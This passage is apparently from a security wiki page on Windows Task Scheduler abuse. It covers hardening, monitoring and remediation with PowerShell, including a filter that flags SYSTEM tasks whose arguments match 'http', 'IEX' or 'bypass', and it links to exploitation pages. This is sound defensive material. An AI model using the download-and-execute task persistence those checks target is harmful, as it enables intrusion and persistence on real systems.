icacls "C:\Windows\System32\Tasks" /grant:r "SYSTEM:(OI)(CI)F"
icacls "C:\Windows\System32\Tasks" /grant:r "Administrators:(OI)(CI)F"
icacls "C:\Windows\System32\Tasks" /grant:r "Users:(OI)(CI)RX"
# 2. Enable audit policy for scheduled tasks
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
# 3. Configure AppLocker to restrict task executables
# Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker
# 4. Disable Task Scheduler for standard users (extreme measure)
sc config Schedule start= disabled
# WARNING: This breaks legitimate functionality
# 5. Monitor and alert on task folder modifications
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Windows\System32\Tasks"
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true
Register-ObjectEvent $watcher "Created" -Action {
$name = $Event.SourceEventArgs.Name
$changeType = $Event.SourceEventArgs.ChangeType
$timeStamp = $Event.TimeGenerated
Write-Host "Task created: $name at $timeStamp" -ForegroundColor Yellow
# Send alert
}Cleanup and Remediation
Remove malicious scheduled tasks:
# Identify and remove suspicious tasks
$maliciousTasks = @(
"WindowsUpdateCheck",
"GoogleUpdate",
"OneDriveSync"
# Add identified malicious task names
)
foreach ($taskName in $maliciousTasks) {
try {
# Export for forensics
schtasks /query /tn $taskName /xml > "C:\Forensics\$taskName.xml"
# Disable task
Disable-ScheduledTask -TaskName $taskName -ErrorAction Stop
# Delete task
Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
Write-Host "[+] Removed malicious task: $taskName" -ForegroundColor Green
}
catch {
Write-Host "[-] Failed to remove $taskName : $_" -ForegroundColor Red
}
}
# Bulk cleanup based on criteria
Get-ScheduledTask | Where-Object {
# Non-Microsoft tasks running as SYSTEM
$_.TaskPath -notmatch '^\\Microsoft\\' -and
$_.Principal.UserId -match 'SYSTEM' -and
# With suspicious actions
($_.Actions.Execute -match 'powershell|cmd' -and
$_.Actions.Arguments -match 'http|IEX|bypass')
} | ForEach-Object {
Write-Host "Suspicious task found: $($_.TaskName)" -ForegroundColor Yellow
Write-Host " Path: $($_.TaskPath)" -ForegroundColor Gray
Write-Host " Action: $($_.Actions.Execute) $($_.Actions.Arguments)" -ForegroundColor Gray
# Export before removal
schtasks /query /tn "$($_.TaskPath)$($_.TaskName)" /xml > "C:\Forensics\$($_.TaskName -replace '[\\/:]','_').xml"
# Remove
Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false
}Continuous Monitoring
# Create baseline of all scheduled tasks
$baseline = Get-ScheduledTask | ForEach-Object {
$taskFile = "C:\Windows\System32\Tasks" + $_.TaskPath + $_.TaskName
[PSCustomObject]@{
TaskName = $_.TaskName
TaskPath = $_.TaskPath
RunAs = $_.Principal.UserId
Actions = ($_.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
TaskFileHash = if (Test-Path $taskFile) {
(Get-FileHash $taskFile -Algorithm SHA256).Hash
} else { $null }
}
} | Export-Csv C:\Security\task_baseline.csv -NoTypeInformation
# Scheduled integrity check
$baseline = Import-Csv C:\Security\task_baseline.csv
$current = Get-ScheduledTask | Select-Object TaskName, TaskPath, @{N='RunAs';E={$_.Principal.UserId}}
# Detect new tasks
$newTasks = Compare-Object -ReferenceObject $baseline -DifferenceObject $current -Property TaskName, TaskPath |
Where-Object { $_.SideIndicator -eq '=>' }
if ($newTasks) {
$alert = "New scheduled tasks detected:`n" + ($newTasks | Out-String)
Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "New Scheduled Tasks Alert" -Body $alert -SmtpServer "smtp.company.com"
}
# Detect modified tasks
foreach ($entry in $baseline) {
$taskFile = "C:\Windows\System32\Tasks" + $entry.TaskPath + $entry.TaskName
if (Test-Path $taskFile) {
$currentHash = (Get-FileHash $taskFile -Algorithm SHA256).Hash
if ($currentHash -ne $entry.TaskFileHash) {
Write-Host "[!] Task modified: $($entry.TaskName)" -ForegroundColor Red
# Send alert
}
}
}References
MITRE ATT&CK Techniques
- T1053.005 - Scheduled Task/Job: Scheduled Task - Windows Task Scheduler abuse
- T1053 - Scheduled Task/Job - Parent technique for scheduled execution
- T1543.003 - Create or Modify System Process: Windows Service - Related persistence via services
- T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys - Alternative persistence mechanism
- T1078 - Valid Accounts - Credential abuse in task execution
Common Weakness Enumeration
- CWE-269 - Improper Privilege Management - Elevated task execution
- CWE-284 - Improper Access Control - Task permission misconfigurations
Microsoft Documentation
- Microsoft: Task Scheduler - Official documentation
- Microsoft: Task Scheduler Security Considerations - Security guidance
- Microsoft: Scheduled Tasks Best Practices - Best practices
Security Resources
- LOLBAS Project - Scheduled task abuse techniques
- Atomic Red Team - T1053.005 - Test procedures
Next Steps
After exploiting or securing scheduled tasks:
- Audit all non-Microsoft scheduled tasks for legitimacy
- Enable comprehensive audit logging for task creation/modification
- Implement SIEM detection rules for suspicious task activity
- Baseline legitimate tasks and monitor for deviations
- Review task folder permissions to prevent unauthorized modifications
- Explore related Windows techniques:
Takeaway: Windows Task Scheduler represents a versatile attack surface for persistence, privilege escalation, and lateral movement. Its legitimate administrative purpose and deep Windows integration make malicious tasks difficult to detect without proper monitoring. Implementing comprehensive logging, task baselining, permission hardening, and behavioral detection rules provides effective defense against scheduled task abuse. Make task scheduler security a core component of your Windows hardening and monitoring strategy.
Last updated on
PrintNightmare
PrintNightmare (CVE-2021-34527) exploitation guide covering RCE through print spooler, privilege escalation, and domain compromise techniques.
SeBackupPrivilege Exploitation and Defense
SeBackupPrivilege exploitation for reading sensitive files, extracting SAM/SYSTEM hives, NTDS.dit dumping, and credential theft in Windows systems.